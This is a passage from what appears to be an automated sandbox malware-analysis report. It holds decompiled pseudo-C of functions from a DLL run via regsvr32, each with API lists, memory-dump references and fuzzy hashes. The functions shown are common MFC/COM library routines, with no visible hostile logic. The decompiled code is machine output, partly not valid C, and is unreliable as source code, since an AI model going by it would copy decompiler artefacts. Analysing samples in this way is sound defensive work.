						_t187 = E6EB61096(_t179, _t187, _t193,  *(_t196 - 0x18),  *(_t196 - 0x24));
						_t49 =  &(_t187[8]); // 0x10
						_t192 = _t49;
						_push(_t49);
						_t135 = E6EB48E82(_t176, _t185, _t187, _t49, __eflags);
						__eflags = _t135;
						if(_t135 == 0) {
							L4:
							 *(_t196 - 4) =  *(_t196 - 4) | 0xffffffff;
							if( *(_t196 - 0x28) == 0) {
								L7:
								L55:
								return E6EB665F6(_t176, _t187, _t192);
							}
							_push( *((intOrPtr*)(_t196 - 0x2c)));
							_push(0);
							L6:
							E6EB53579();
							goto L7;
						}
						E6EB66B00(_t192);
						 *(_t196 - 0x10) = _t199;
						_t176 = 0;
						_t194 = _t199;
						 *((intOrPtr*)(_t196 - 0x58)) = 0x6eb7c160;
						 *((intOrPtr*)(_t196 - 0x54)) = 0;
						 *((intOrPtr*)(_t196 - 0x48)) = 0;
						 *((intOrPtr*)(_t196 - 0x4c)) = 0;
						 *((intOrPtr*)(_t196 - 0x50)) = 0;
						_push(_t196 - 0x58);
						_push( *(_t196 - 0x30));
						_push( *((intOrPtr*)(_t196 + 0x18)));
						 *(_t196 - 4) = 1;
						_push( *(_t196 + 0x14));
						_push( *(_t196 - 0x24));
						_push(_t196 - 0x44);
						_push( *(_t196 - 0x18));
						_push(_t194);
						_t140 = E6EB61604(0,  *((intOrPtr*)(_t196 - 0x34)), _t187, _t194, __eflags);
						 *(_t196 - 0x18) = _t140;
						__eflags = _t140;
						if(_t140 != 0) {
							L26:
							_t141 =  *(_t196 + 0x14);
							_t192 = 0;
							__eflags =  *(_t141 + 8);
							if( *(_t141 + 8) <= 0) {
								L29:
								__eflags =  *(_t196 - 0x18);
								_t182 = _t196 - 0x58;
								if( *(_t196 - 0x18) == 0) {
									E6EB61544(_t176, _t182, _t187);
									_t187 =  *(_t196 + 0x10);
									__eflags = _t187;
									if(_t187 == 0) {
										_t144 = ( *(_t196 - 0x24) & 0x0000ffff) - 8;
										__eflags = _t144;
										if(_t144 == 0) {
											__imp__#6(_t176);
											L52:
											 *(_t196 - 4) = 0;
											E6EB61464(_t196 - 0x58);
											 *(_t196 - 4) =  *(_t196 - 4) | 0xffffffff;
											__eflags =  *(_t196 - 0x28);
											if( *(_t196 - 0x28) != 0) {
												_push( *((intOrPtr*)(_t196 - 0x2c)));
												_push(0);
												E6EB53579();
											}
											__eflags = 0;
											goto L55;
										}
										_t148 = _t144 - 1;
										__eflags = _t148;
										if(_t148 == 0) {
											L48:
											__eflags = _t176;
											if(_t176 != 0) {
												 *((intOrPtr*)( *_t176 + 8))(_t176);
											}
											goto L52;
										}
										_t151 = _t148 - 3;
										__eflags = _t151;
										if(_t151 == 0) {
											__imp__#9(_t196 - 0x44);
											goto L52;
										}
										__eflags = _t151 != 1;
										if(_t151 != 1) {
											goto L52;
										}
										goto L48;
									}
									_t154 =  *(_t196 - 0x24);
									 *_t187 = _t154;
									_t156 = (_t154 & 0x0000ffff) + 0xfffffffe;
									__eflags = _t156 - 0x13;
									if(_t156 > 0x13) {
										goto L52;
									}
									switch( *((intOrPtr*)(_t156 * 4 +  &M6EB61C00))) {
										case 0:
											 *((short*)(__edi + 8)) = __bx;
											goto L52;
										case 1:
											 *((intOrPtr*)(__edi + 8)) = __ebx;
											goto L52;
										case 2:
											 *((intOrPtr*)(__edi + 8)) =  *((intOrPtr*)(__ebp - 0x44));
											goto L52;
										case 3:
											 *((long long*)(__edi + 8)) =  *((long long*)(__ebp - 0x44));
											goto L52;
										case 4:
											__eax =  *((intOrPtr*)(__ebp - 0x44));
											 *((intOrPtr*)(__edi + 8)) =  *((intOrPtr*)(__ebp - 0x44));
											__eax =  *((intOrPtr*)(__ebp - 0x40));
											 *((intOrPtr*)(__edi + 0xc)) =  *((intOrPtr*)(__ebp - 0x40));
											goto L52;
										case 5:
											__eax = 0;
											__eflags = __bx;
											0 | __eflags == 0x00000000 = (0 | __eflags == 0x00000000) - 1;
											 *((short*)(__edi + 8)) = __ax;
											goto L52;
										case 6:
											__esi = __ebp - 0x44;
											asm("movsd");
											asm("movsd");
											asm("movsd");
											asm("movsd");
											goto L52;
										case 7:
											goto L52;
										case 8:
											_t187[4] = _t176;
											goto L52;
									}
								}
								 *(_t196 - 4) = 0;
								E6EB61464(_t182);
								 *(_t196 - 4) =  *(_t196 - 4) | 0xffffffff;
								__eflags =  *(_t196 - 0x28);
								if( *(_t196 - 0x28) != 0) {
									_push( *((intOrPtr*)(_t196 - 0x2c)));
									_push(0);
									E6EB53579();
								}
								goto L55;
							}
							_t188 =  *(_t196 - 0x30);
							do {
								__imp__#9(_t188);
								_t160 =  *(_t196 + 0x14);
								_t192 = _t192 + 1;
								_t188 =  &(_t188[0x10]);
								__eflags = _t192 -  *((intOrPtr*)(_t160 + 8));
							} while (_t192 <  *((intOrPtr*)(_t160 + 8)));
							goto L29;
						}
						_t161 =  *(_t196 - 0x24) & 0x0000ffff;
						_push(_t187);
						_push(_t194);
						_push( *(_t196 - 0x20));
						 *(_t196 - 4) = 2;
						__eflags = _t161 - 4;
						if(_t161 == 4) {
							E6EB634B4();
							 *((intOrPtr*)(_t196 - 0x34)) = _t205;
							 *((intOrPtr*)(_t196 - 0x44)) =  *((intOrPtr*)(_t196 - 0x34));
							L25:
							 *(_t196 - 4) = 1;
							goto L26;
						}
						__eflags = _t161 - 5;
						if(_t161 == 5) {
							L23:
							E6EB634B4();
							 *((long long*)(_t196 - 0x44)) = _t205;
							goto L25;
						}
						__eflags = _t161 - 7;
						if(_t161 == 7) {
							goto L23;
						}
						__eflags = _t161 + 0xffffffec - 1;
						if(_t161 + 0xffffffec > 1) {
							_t176 = E6EB634B4();
						} else {
							 *((intOrPtr*)(_t196 - 0x44)) = E6EB634B4();
							 *((intOrPtr*)(_t196 - 0x40)) = _t185;
						}
						goto L25;
					}
					L12:
					 *(_t196 - 4) =  *(_t196 - 4) | 0xffffffff;
					__eflags =  *(_t196 - 0x28) - _t187;
					if( *(_t196 - 0x28) == _t187) {
						goto L7;
					}
					_push( *((intOrPtr*)(_t196 - 0x2c)));
					_push(_t187);
					goto L6;
				}
				_t19 = _t191 + 3; // 0x3
				_t187 = _t19;
				_push(_t19);
				if(E6EB48E82(_t176, _t185, _t19, _t191, _t202) != 0) {
					E6EB66B00(_t187);
					 *(_t196 - 0x10) = _t197;
					_t189 = _t197;
					_t26 = _t191 + 3; // 0x3
					E6EB48D02(_t189, _t191, _t189, _t26,  *(_t196 - 0x18), _t191);
					_t172 = _t176[0xc] & 0x0000ffff;
					_t197 =  &(_t197[0x10]);
					 *(_t196 - 0x18) = _t189;
					__eflags = _t172 - 8;
					if(_t172 == 8) {
						_t172 = 0xe;
					}
					 *(_t196 - 0x24) =  *(_t196 - 0x24) & 0x00000000;
					_t189[_t191] = 0xff;
					_t195 = _t191 + 1;
					_t189[_t195] = _t172;
					_t189[_t195 + 1] = 0;
					 *(_t196 - 0x20) = _t176[0x14];
					_t187 = 0;
					__eflags = 0;
					goto L11;
				}
				goto L4;
			}

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 6EB618EF
lstrlenA.KERNEL32(00000000,000000FF,00000050,6EB5773E,00000000,00000001,?,?,000000FF,?,?,?,?,?,?,00000034), ref: 6EB61921

Part of subcall function 6EB48D02: _memcpy_s.LIBCMT ref: 6EB48D13

_memset.LIBCMT ref: 6EB619F1
VariantClear.OLEAUT32(?), ref: 6EB61ACB

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ClearH_prolog3_catch_Variant_memcpy_s_memsetlstrlen
String ID:
API String ID: 4021759052-0
Opcode ID: 533be16d970fe85f918d449a943b6315c2bc6ce99f7c7a9e16b8f0675cb6a6e1
Instruction ID: c189e2b35279221955644123bca8a9d00878fd16c5b6bbdc86a0bbf9f7a4743f
Opcode Fuzzy Hash: 533be16d970fe85f918d449a943b6315c2bc6ce99f7c7a9e16b8f0675cb6a6e1
Instruction Fuzzy Hash: BCA15731C0068ADBCF01CFE9C8846EEBFB4FF05314F188659E528A7290D7359A59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5E2A5 Relevance: 9.2, APIs: 6, Instructions: 180
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 73%

			E6EB5E2A5(void* __ebx, intOrPtr __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t83;
				intOrPtr* _t84;
				intOrPtr _t85;
				intOrPtr* _t86;
				intOrPtr _t99;
				intOrPtr* _t119;
				intOrPtr* _t120;
				intOrPtr* _t122;
				intOrPtr* _t124;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t141;
				intOrPtr* _t147;
				void* _t156;
				intOrPtr _t158;
				intOrPtr* _t159;
				void* _t160;
				intOrPtr _t172;

				_t155 = __edi;
				_push(0x10);
				E6EB664FB(0x6eb7812e, __ebx, __edi, __esi);
				_t158 = __ecx;
				 *((intOrPtr*)(_t160 - 0x1c)) = __ecx;
				 *((intOrPtr*)(__ecx)) = 0x6eb7b754;
				 *(_t160 - 4) = 0;
				if( *((intOrPtr*)(__ecx + 0x58)) == 0) {
					L11:
					while( *((intOrPtr*)(_t158 + 0x24)) != 0) {
						_t155 =  *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x1c)) + 8));
						__eflags = _t155;
						if(_t155 == 0) {
							break;
						}
						_t147 =  *_t155;
						__eflags = _t147;
						if(_t147 == 0) {
							break;
						}
						 *((intOrPtr*)( *_t147 + 0xbc))( *((intOrPtr*)(_t155 + 8)), 0);
						 *((intOrPtr*)( *_t155 + 0x98)) = 0;
					}
					 *((intOrPtr*)(_t160 - 0x18)) = _t158 + 0x18;
					E6EB56691(_t158 + 0x18);
					if( *((intOrPtr*)(_t158 + 0x40)) == 0) {
						L19:
						_t83 =  *((intOrPtr*)(_t158 + 8));
						if(_t83 != 0) {
							 *((intOrPtr*)( *_t83 + 8))(_t83);
						}
						_t84 =  *((intOrPtr*)(_t158 + 0xc));
						if(_t84 != 0) {
							 *((intOrPtr*)( *_t84 + 8))(_t84);
						}
						if( *((intOrPtr*)(_t158 + 0x14)) == 0) {
							L32:
							_t85 =  *((intOrPtr*)(_t158 + 0x34));
							if(_t85 != 0) {
								__imp__CoTaskMemFree(_t85);
							}
							_t134 =  *((intOrPtr*)(_t158 + 0x54));
							if( *((intOrPtr*)(_t158 + 0x54)) != 0) {
								E6EB5CAFC(_t134,  *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x50)))));
								E6EB58C4A( *((intOrPtr*)(_t158 + 0x54)));
							}
							_t135 =  *((intOrPtr*)(_t158 + 0x54));
							_t184 =  *((intOrPtr*)(_t158 + 0x54));
							if( *((intOrPtr*)(_t158 + 0x54)) != 0) {
								E6EB5CADB(0, _t135, _t155, _t184, 1);
							}
							_t136 =  *((intOrPtr*)(_t158 + 0x50));
							_t185 =  *((intOrPtr*)(_t158 + 0x50));
							if( *((intOrPtr*)(_t158 + 0x50)) != 0) {
								E6EB5E1E0(0, _t136, _t155, _t185, 1);
							}
							_t86 =  *((intOrPtr*)(_t158 + 0x4c));
							if(_t86 != 0) {
								 *((intOrPtr*)( *_t86 + 8))(_t86);
							}
							_t159 =  *((intOrPtr*)(_t158 + 0x48));
							if(_t159 != 0) {
								 *((intOrPtr*)( *_t159 + 8))(_t159);
							}
							 *(_t160 - 4) =  *(_t160 - 4) | 0xffffffff;
							return E6EB665D3(E6EB567A1( *((intOrPtr*)(_t160 - 0x18))));
						} else {
							 *((intOrPtr*)(_t160 - 0x10)) = 0;
							if( *((intOrPtr*)(_t158 + 0x10)) <= 0) {
								L31:
								__imp__CoTaskMemFree( *((intOrPtr*)(_t158 + 0x14)));
								goto L32;
							}
							_t156 = 0;
							do {
								_t99 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x14)) + _t156 + 0x24)) + 4));
								 *((intOrPtr*)(_t160 - 0x14)) = _t99;
								if(_t99 == 0) {
									goto L28;
								} else {
									goto L27;
								}
								do {
									L27:
									 *((intOrPtr*)( *((intOrPtr*)(E6EB4ABF2(_t160 - 0x14))) + 0x98)) = 0;
								} while ( *((intOrPtr*)(_t160 - 0x14)) != 0);
								L28:
								E6EB56691( *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x14)) + _t156 + 0x24)));
								_t141 =  *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x14)) + _t156 + 0x24));
								if(_t141 != 0) {
									 *((intOrPtr*)( *_t141 + 4))(1);
								}
								 *((intOrPtr*)(_t160 - 0x10)) =  *((intOrPtr*)(_t160 - 0x10)) + 1;
								_t156 = _t156 + 0x28;
							} while ( *((intOrPtr*)(_t160 - 0x10)) <  *((intOrPtr*)(_t158 + 0x10)));
							goto L31;
						}
					}
					_t155 = 0;
					if( *((intOrPtr*)(_t158 + 0x38)) <= 0) {
						L17:
						if(_t172 != 0) {
							E6EB47CD0(0, _t155, _t158, _t172,  *((intOrPtr*)(_t158 + 0x3c)));
							E6EB47CD0(0, _t155, _t158, _t172,  *((intOrPtr*)(_t158 + 0x40)));
						}
						goto L19;
					}
					 *((intOrPtr*)(_t160 - 0x10)) = 0;
					do {
						__imp__#9( *((intOrPtr*)(_t158 + 0x40)) +  *((intOrPtr*)(_t160 - 0x10)));
						 *((intOrPtr*)(_t160 - 0x10)) =  *((intOrPtr*)(_t160 - 0x10)) + 0x10;
						_t155 = _t155 + 1;
					} while (_t155 <  *((intOrPtr*)(_t158 + 0x38)));
					_t172 =  *((intOrPtr*)(_t158 + 0x38));
					goto L17;
				}
				_t119 =  *((intOrPtr*)(__ecx + 0x50));
				if(_t119 == 0) {
					goto L11;
				}
				_t120 =  *_t119;
				_push(_t160 - 0x14);
				_push(0x6eb7e1d4);
				_push(_t120);
				if( *((intOrPtr*)( *_t120))() < 0) {
					goto L11;
				}
				_t122 =  *((intOrPtr*)(_t160 - 0x14));
				if(_t122 == 0) {
					goto L11;
				}
				_push(_t160 - 0x10);
				_push(0x6eb7e454);
				 *((intOrPtr*)(_t160 - 0x10)) = 0;
				_push(_t122);
				if( *((intOrPtr*)( *_t122 + 0x10))() >= 0) {
					_t126 =  *((intOrPtr*)(_t160 - 0x10));
					if(_t126 != 0) {
						 *((intOrPtr*)( *_t126 + 0x18))(_t126,  *((intOrPtr*)(__ecx + 0x58)));
						_t128 =  *((intOrPtr*)(_t160 - 0x10));
						 *((intOrPtr*)( *_t128 + 8))(_t128);
					}
				}
				_t124 =  *((intOrPtr*)(_t160 - 0x14));
				 *((intOrPtr*)( *_t124 + 8))(_t124);
				goto L11;
			}

APIs

__EH_prolog3.LIBCMT ref: 6EB5E2AC
VariantClear.OLEAUT32(?), ref: 6EB5E370
CoTaskMemFree.OLE32(?,00000010,6EB5E49F), ref: 6EB5E41D
CoTaskMemFree.OLE32(?,00000010,6EB5E49F), ref: 6EB5E42B
ctype.LIBCPMT ref: 6EB5E453
ctype.LIBCPMT ref: 6EB5E461

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: FreeTaskctype$ClearH_prolog3Variant
String ID:
API String ID: 151822039-0
Opcode ID: 2d2292bba67123e49aa19c0327a777013d95b606755d9a51687c0bf775fdd69e
Instruction ID: aaec31bd5cd218bba0837d08e817f2a4412580707bac45ea4e1827d99dfa9924
Opcode Fuzzy Hash: 2d2292bba67123e49aa19c0327a777013d95b606755d9a51687c0bf775fdd69e
Instruction Fuzzy Hash: B5710071A006868FDB60DFE4C9D496EBBF6FF48304720486CE5569BB61CB70E895CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB52F37 Relevance: 9.1, APIs: 6, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6EB52F37(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t60;
				signed int _t65;
				signed int _t68;
				struct HWND__* _t69;
				signed int _t72;
				signed int _t102;
				void* _t113;
				signed int _t116;
				DLGTEMPLATE* _t117;
				struct HWND__* _t118;
				intOrPtr* _t120;
				void* _t121;

				_t115 = __edi;
				_t113 = __edx;
				_t96 = __ecx;
				_push(0x3c);
				E6EB6652E(0x6eb77903, __ebx, __edi, __esi);
				_t120 = __ecx;
				 *((intOrPtr*)(_t121 - 0x20)) = __ecx;
				_t125 =  *(_t121 + 0x10);
				if( *(_t121 + 0x10) == 0) {
					 *(_t121 + 0x10) =  *(E6EB53D20(0, __edi, __ecx, _t125) + 0xc);
				}
				_t116 =  *(E6EB53D20(0, _t115, _t120, _t125) + 0x3c);
				 *(_t121 - 0x28) = _t116;
				 *(_t121 - 0x14) = 0;
				 *(_t121 - 4) = 0;
				E6EB4F16D(0, _t96, _t116, _t120, _t125, 0x10);
				E6EB4F16D(0, _t96, _t116, _t120, _t125, 0x3c000);
				if(_t116 == 0) {
					_t117 =  *(_t121 + 8);
					L7:
					__eflags = _t117;
					if(_t117 == 0) {
						L4:
						_t60 = 0;
						L26:
						return E6EB665D3(_t60);
					}
					E6EB413B0(_t121 - 0x1c, _t113);
					 *(_t121 - 4) = 1;
					 *((intOrPtr*)(_t121 - 0x18)) = 0;
					_t65 = E6EB60346(0, __eflags, _t117, _t121 - 0x1c, _t121 - 0x18);
					__eflags = _t65;
					__eflags = 0 | _t65 == 0x00000000;
					if(__eflags != 0) {
						_push(_t117);
						E6EB6030A(0, _t121 - 0x38, _t117);
						 *(_t121 - 4) = 2;
						E6EB60266(_t121 - 0x38,  *((intOrPtr*)(_t121 - 0x18)));
						 *(_t121 - 0x14) = E6EB5FF73(_t121 - 0x38);
						 *(_t121 - 4) = 1;
						E6EB5FF65(_t121 - 0x38);
						__eflags =  *(_t121 - 0x14);
						if(__eflags != 0) {
							_t117 = GlobalLock( *(_t121 - 0x14));
						}
					}
					 *(_t120 + 0x44) =  *(_t120 + 0x44) | 0xffffffff;
					 *(_t120 + 0x3c) =  *(_t120 + 0x3c) | 0x00000010;
					E6EB4E26C(__eflags, _t120);
					_t68 =  *(_t121 + 0xc);
					__eflags = _t68;
					if(_t68 != 0) {
						_t69 =  *(_t68 + 0x20);
					} else {
						_t69 = 0;
					}
					_t118 = CreateDialogIndirectParamA( *(_t121 + 0x10), _t117, _t69, E6EB52972, 0);
					E6EB41020( *((intOrPtr*)(_t121 - 0x1c)) + 0xfffffff0, _t113);
					 *(_t121 - 4) =  *(_t121 - 4) | 0xffffffff;
					_t102 =  *(_t121 - 0x28);
					__eflags = _t102;
					if(__eflags != 0) {
						__eflags = _t118;
						if(__eflags != 0) {
							 *((intOrPtr*)( *_t102 + 0x18))(_t121 - 0x48);
							 *((intOrPtr*)( *_t120 + 0x134))(0);
						}
					}
					_t72 = E6EB4C7E6(__eflags);
					__eflags = _t72;
					if(_t72 == 0) {
						 *((intOrPtr*)( *_t120 + 0x11c))();
					}
					__eflags = _t118;
					if(_t118 != 0) {
						__eflags =  *(_t120 + 0x3c) & 0x00000010;
						if(( *(_t120 + 0x3c) & 0x00000010) == 0) {
							DestroyWindow(_t118);
							_t118 = 0;
							__eflags = 0;
						}
					}
					__eflags =  *(_t121 - 0x14);
					if( *(_t121 - 0x14) != 0) {
						GlobalUnlock( *(_t121 - 0x14));
						GlobalFree( *(_t121 - 0x14));
					}
					__eflags = _t118;
					_t54 = _t118 != 0;
					__eflags = _t54;
					_t60 = 0 | _t54;
					goto L26;
				}
				_push(_t121 - 0x48);
				if( *((intOrPtr*)( *_t120 + 0x134))() != 0) {
					_t117 =  *((intOrPtr*)( *_t116 + 0x14))(_t121 - 0x48,  *(_t121 + 8));
					goto L7;
				}
				goto L4;
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 6EB52F3E
GlobalLock.KERNEL32 ref: 6EB53016
CreateDialogIndirectParamA.USER32(?,?,?,Function_00012972,00000000), ref: 6EB53045
DestroyWindow.USER32(00000000), ref: 6EB530BF
GlobalUnlock.KERNEL32(?), ref: 6EB530CF
GlobalFree.KERNEL32 ref: 6EB530D8

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Global$CreateDestroyDialogFreeH_prolog3_catchIndirectLockParamUnlockWindow
String ID:
API String ID: 3003189058-0
Opcode ID: 72fd5946d2581fb36bd76d9baf8548350c44e2d31226bfc8497aaaecfaf29138
Instruction ID: 45c8b611b8f985ac21ac9929e01f0ca74b298b3c97fcdc0276da4e14eb8c71c4
Opcode Fuzzy Hash: 72fd5946d2581fb36bd76d9baf8548350c44e2d31226bfc8497aaaecfaf29138
Instruction Fuzzy Hash: D8518B3191138AEFDF04DFE4C988AEEBFB9AF09314F150829E512A7394CB309A51CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5B7A6 Relevance: 9.1, APIs: 6, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E6EB5B7A6(void* __eflags, void* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr* _v12;
				char _v16;
				char _v32;
				intOrPtr* _v36;
				intOrPtr* _v40;
				intOrPtr* _v44;
				intOrPtr* _v52;
				intOrPtr* _v56;
				intOrPtr* _v60;
				char _v64;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t49;
				intOrPtr* _t52;
				intOrPtr* _t53;
				intOrPtr* _t58;
				intOrPtr _t59;
				intOrPtr* _t60;
				intOrPtr _t71;
				intOrPtr* _t73;
				char* _t83;
				intOrPtr* _t84;
				void* _t86;

				_t83 = _a4 + 0xffffff28;
				_t74 =  &_v16;
				E6EB53D6C( &_v16, __eflags,  *((intOrPtr*)(_a4 - 0xbc)));
				if( *((intOrPtr*)(_t83 + 0x88)) == 0) {
					_t71 = _a8;
					__eflags =  *((intOrPtr*)(_t83 + 0x90));
					if( *((intOrPtr*)(_t83 + 0x90)) != 0) {
						L9:
						__eflags =  *((intOrPtr*)(_t83 + 0x9c)) - _t71;
						if( *((intOrPtr*)(_t83 + 0x9c)) != _t71) {
							L22:
							__eflags = _v12;
							if(_v12 != 0) {
								_push(_v16);
								_push(0);
								E6EB53579();
							}
							_t49 = 0;
							__eflags = 0;
							L25:
							return _t49;
						}
						__imp__#9(_t83 + 0xac);
						_t52 =  *((intOrPtr*)(_t83 + 0x50));
						_a4 = 0;
						__eflags = _t52;
						if(__eflags != 0) {
							L12:
							_t74 =  *_t52;
							_t53 =  *((intOrPtr*)( *_t52))(_t52, 0x6eb7e0e4,  &_a4);
							__eflags = _t53;
							if(_t53 < 0) {
								goto L22;
							}
							E6EB65E80(_t83,  &_v64, 0, 0x20);
							E6EB65E80(_t83,  &_v32, 0, 0x10);
							_t58 = _a4;
							_t86 = _t86 + 0x18;
							__eflags = _t58;
							if(__eflags == 0) {
								goto L11;
							}
							_t59 =  *((intOrPtr*)( *_t58 + 0x18))(_t58, _t71, 0x6eb7e0f4, 0, 2,  &_v32, _t83 + 0xac,  &_v64,  &_v8);
							_t73 = __imp__#6;
							_a8 = _t59;
							__eflags = _v60;
							if(_v60 != 0) {
								 *_t73(_v60);
							}
							__eflags = _v56;
							if(_v56 != 0) {
								 *_t73(_v56);
							}
							__eflags = _v52;
							if(_v52 != 0) {
								 *_t73(_v52);
							}
							_t60 = _a4;
							 *((intOrPtr*)( *_t60 + 8))(_t60);
							__eflags = _a8;
							if(_a8 >= 0) {
								 *((intOrPtr*)(_t83 + 0xa8)) = 1;
							}
							goto L22;
						}
						L11:
						_t52 = E6EB48BA4(_t71, _t74, _t83, 0, __eflags);
						goto L12;
					}
					_t74 = _t83;
					_v68 = 2;
					_v64 = _t71;
					_v60 = 0;
					_v56 = 0;
					_v52 = 0;
					_v44 = 0;
					_v40 = 0;
					_v36 = 0;
					E6EB594EA(_t83,  &_v68);
					__eflags = _v44;
					if(_v44 == 0) {
						goto L9;
					}
					_t84 = _v44;
					__eflags = _v12;
					if(_v12 != 0) {
						_push(_v16);
						_push(0);
						E6EB53579();
					}
					_t49 = _t84;
					goto L25;
				}
				if(_v12 != 0) {
					_push(_v16);
					_push(0);
					E6EB53579();
				}
				return 0;
			}

APIs

VariantClear.OLEAUT32(?), ref: 6EB5B849
_memset.LIBCMT ref: 6EB5B87B
_memset.LIBCMT ref: 6EB5B887
SysFreeString.OLEAUT32(?), ref: 6EB5B8C9
SysFreeString.OLEAUT32(?), ref: 6EB5B8D3
SysFreeString.OLEAUT32(?), ref: 6EB5B8DD

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: FreeString$_memset$ClearException@8H_prolog3ThrowVariant
String ID:
API String ID: 320298052-0
Opcode ID: 8047e058b71a9ae434effa6834f10616efb215e69596070c04d22e7932cb22a6
Instruction ID: d490b131f43938a905d31ec4fed1a635d5391e1ae15fc004e63a2ab533b13b0a
Opcode Fuzzy Hash: 8047e058b71a9ae434effa6834f10616efb215e69596070c04d22e7932cb22a6
Instruction Fuzzy Hash: 57413471D11669FFCF029FE4C884ADDBB79FF08714F10851AF024A6258D73099A0CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB61CD4 Relevance: 9.1, APIs: 6, Instructions: 116
memoryCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E6EB61CD4(void* __edx, void* __eflags, short* _a4, intOrPtr _a8) {
				signed int _v8;
				char _v264;
				char _v268;
				char* _v272;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t41;
				void* _t45;
				short _t46;
				void* _t51;
				intOrPtr _t64;
				intOrPtr _t72;
				void* _t75;
				void* _t95;
				void* _t96;
				intOrPtr* _t97;
				void* _t98;
				short* _t100;
				void* _t101;
				signed int _t105;

				_t95 = __edx;
				_t103 = _t105;
				_t41 =  *0x6eb89470; // 0x8926f9d4
				_v8 = _t41 ^ _t105;
				_t72 = _a8;
				_t100 = _a4;
				_push(_t96);
				E6EB65E80(_t96, _t100, 0, 0x20);
				_v272 =  &_v264;
				_t45 = E6EB541FB(_t72, 0x6eb7c140);
				_t97 = __imp__#2;
				if(_t45 == 0) {
					_t77 = _t72;
					_t46 = E6EB541FB(_t72, 0x6eb797c0);
					__eflags = _t46;
					_push(0x100);
					_push( &_v264);
					_t73 = 0xf10a;
					if(_t46 == 0) {
						_t73 = 0xf108;
						__eflags = 0xf10a;
					}
					_push(_t73);
					E6EB53417(_t73, _t77, _t97, _t100);
					 *_t100 = _t73;
				} else {
					_v272 =  *((intOrPtr*)(_t72 + 0xc));
